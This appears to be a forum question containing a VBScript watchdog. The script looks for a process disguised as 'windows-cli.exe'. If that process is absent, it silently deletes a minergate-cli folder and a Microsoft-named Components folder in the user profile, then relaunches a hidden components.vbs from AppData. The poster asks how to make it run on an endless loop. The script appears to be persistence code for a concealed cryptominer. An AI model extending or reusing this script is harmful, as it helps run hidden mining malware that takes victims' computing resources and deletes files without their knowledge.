Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
For Each objProcess in colProcessList
If objProcess.name = "windows-cli.exe" then
vFound = True
exit for
End if
Next
If vFound = False then
Set objShell = CreateObject("WScript.Shell")
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Local\minergate-cli /S /Q", 0, False
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Roaming\Microsoft\Components /S /Q", 0, False
objShell.Run "%SystemRoot%\System32\wscript.exe %USERPROFILE%\AppData\Roaming\Microsoft\components.vbs", 0, False
Set objShell = Nothing
End If
How do I get this code to run 24 hours on an infinite loop?